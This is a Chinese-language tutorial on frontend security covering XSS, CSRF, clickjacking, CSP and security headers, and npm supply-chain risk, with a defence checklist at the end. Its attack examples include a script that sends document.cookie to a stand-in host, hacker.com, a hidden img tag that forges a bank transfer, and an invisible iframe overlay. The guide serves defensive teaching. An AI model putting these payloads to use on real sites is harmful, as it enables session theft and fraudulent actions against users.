当前位置: 首页 > news >正文

前端与浏览器安全知识详解

一、跨站脚本攻击(XSS)

攻击原理
  • 定义:攻击者向页面注入恶意脚本(如 JavaScript),在用户浏览时执行,窃取 Cookie、篡改页面等。
  • 分类
    • 存储型 XSS:恶意脚本存储到服务器(如评论区)。
    • 反射型 XSS:恶意脚本通过 URL 参数反射到页面。
    • DOM 型 XSS:前端直接操作 DOM 导致漏洞。
图文案例

攻击代码

用户提交评论内容:
<script>fetch('https://hacker.com/steal?cookie=' + document.cookie)</script>
防护措施
  1. 输入过滤:对用户输入进行转义(如将 < 转义为 &lt;)。
  2. 输出编码
    // 使用框架内置的编码函数
    const safeOutput = _.escape(userInput); // Lodash
    
  3. 设置 HTTP 头
    Content-Security-Policy: script-src 'self' 禁止加载外部脚本
    

二、跨站请求伪造(CSRF)

攻击原理
  • 定义:诱导用户访问恶意页面,利用已登录状态伪造用户身份发起请求(如转账)。
  • 核心条件:用户已登录目标网站且未登出。

攻击代码

<img src="https://bank.com/transfer?to=hacker&amount=10000" style="display:none">
防护措施
  1. CSRF Token
    <form action="/transfer">
      <input type="hidden" name="csrf_token" value="{{csrfToken}}">
    </form>
    
  2. SameSite Cookie
    Set-Cookie: sessionId=abc123; SameSite=Strict
    
  3. 验证 Referer/Origin:检查请求来源是否合法。

三、点击劫持(Clickjacking)

攻击原理
  • 定义:攻击者通过透明 iframe 覆盖在正常页面上,诱导用户点击隐藏按钮(如点赞、关注)。

攻击代码

<style>
  iframe {
    opacity: 0;
    position: absolute;
    top: 0;
    left: 0;
  }
</style>
<iframe src="https://social.com/like?post=123"></iframe>
防护措施
  1. 设置 X-Frame-Options
    X-Frame-Options: DENY  // 禁止页面被嵌入 iframe
    
  2. 使用 CSP
    Content-Security-Policy: frame-ancestors 'none'
    

四、浏览器安全策略

1. 同源策略(Same-Origin Policy)
  • 规则:禁止页面读取不同源(协议+域名+端口)的资源。
  • 绕过风险:错误配置 CORS 导致数据泄露。
2. 内容安全策略(CSP)
  • 配置示例
    Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com
    
3. 安全头配置
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff

五、第三方依赖风险

案例:恶意 npm 包
  • 事件event-stream 包被注入恶意代码,窃取比特币钱包。
  • 防护
    1. 使用 npm audit 检查依赖漏洞。
    2. 锁定版本号(package-lock.json)。
    3. 使用 Snyk、Dependabot 扫描依赖。

六、安全防护工具

  1. 浏览器 DevTools
    • 检查 Network 请求中的敏感信息泄露。
    • 使用 Security 面板查看 HTTPS 和 CSP 状态。
  2. 自动化扫描
    • OWASP ZAP:检测 XSS、SQL 注入等漏洞。
    • Lighthouse:审计安全头配置。

总结:前端安全防护清单

风险类型防护手段
XSS输入过滤、输出编码、CSP、避免 innerHTML
CSRFCSRF Token、SameSite Cookie、验证 Referer
点击劫持X-Frame-Options、CSP 的 frame-ancestors
数据泄露禁用 document.cookie、敏感数据不存 localStorage
第三方依赖定期更新依赖、使用 npm audit
HTTPS全站 HTTPS、HSTS 头、禁用混合内容(HTTP 资源)

相关文章:

  • 程序员升级进阶之路
  • spring security 超详细使用教程(接入springboot、前后端分离)
  • [创业之路-299]:图解金融体系结构
  • Linux 文件系统:恢复已删除文件的挑战
  • 【大模型】阿里云百炼平台对接DeepSeek-R1大模型使用详解
  • 【深度强化学习】Actor-Critic 算法
  • 一个根据输入内容过滤下拉选的组件
  • 网络编程-
  • 设计模式Python版 命令模式(下)
  • Keysight E5071C (Agilent) 网络分析仪的特性和规格
  • DeepSeek 本地部署(电脑安装)
  • 笔试题笔记#6 模拟三道题和总结知识
  • CTF-web:java-h2 堆叠注入rce -- N1ctf Junior EasyDB
  • 消息中间件深度剖析:以 RabbitMQ 和 Kafka 为核心
  • vue2和vue3响应式区别最通俗易懂的理解
  • 图文教程 | 2024年IDEA安装使用教程,JDK简易下载方法
  • SpringBoot 统一功能处理
  • 面试经典150题——分治
  • SkyWalking 10.1.0 实战:从零构建全链路监控,解锁微服务性能优化新境界
  • element-ui时间组件同一个月内选择/30天内选择
  • 世界高血压日|专家:高血压患者控制血压同时应注重心率管理
  • 浙江演艺集团7部作品组团来沪,今夏开启首届上海演出季
  • 新修订的《餐饮业促进和经营管理办法》公布,商务部解读
  • A股三大股指低收:汽车股领涨,大金融走弱,两市成交近1.1万亿元
  • 日本一季度实际GDP环比下降0.2%
  • 夜读丨母亲为燕子打开家门